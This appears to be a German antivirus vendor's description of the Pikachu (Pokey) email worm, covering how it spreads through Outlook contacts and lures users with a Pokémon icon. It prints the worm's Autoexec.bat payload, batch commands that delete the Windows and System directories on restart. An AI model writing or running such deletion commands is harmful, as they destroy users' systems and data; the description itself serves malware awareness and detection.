Worm.Pikachu

Der neue Internet-Wurm Pikachu (alias Pokey) versendet sich nach dem Ausführen - wie auch schon der VBS-Virus "I love you" - via MS Outlook an alle Kontakte im Adressbuch. Jedoch ist er kein VBS-Wurm sondern eine normale Anwendung (.exe).

 

Im Virenlabor von AntiVir ließ sich der Virus zwar verschicken, jedoch fehlte der Dateianhang, denn ursprünglich sollte sich der Virus an jede Email anhängen. Dies könnte am leicht fehlerhaften Programmcode des Virus liegen.

Ein harmloses Pokemon-Icon verleitet den Anwender zum Öffnen der Datei.

Nach dem Ausführen des Virus erscheint dieses Bild auf dem Monitor:

 

Während der Anwender sich noch über das Bild freut, überschreibt der Virus die Autoexec.bat:

@ECHO OFF
del C:\WINDOWS\*.*
del C:\WINDOWS\SYSTEM\*.*

Durch diesen Eintrag werden bei einem Neustart das gesamte Windows- und Windows-System Verzeichnis gelöscht, was für den Anwender einen totalen Datenverlust bedeuten kann, da eine komplette Neuinstallation des Betriebssystems fällig ist.

Der Email-Wurm wird seit der Version 6.03.00.14 von AntiVir erkannt.

 

  weitere Virenbeschreibungen
  Virenkunde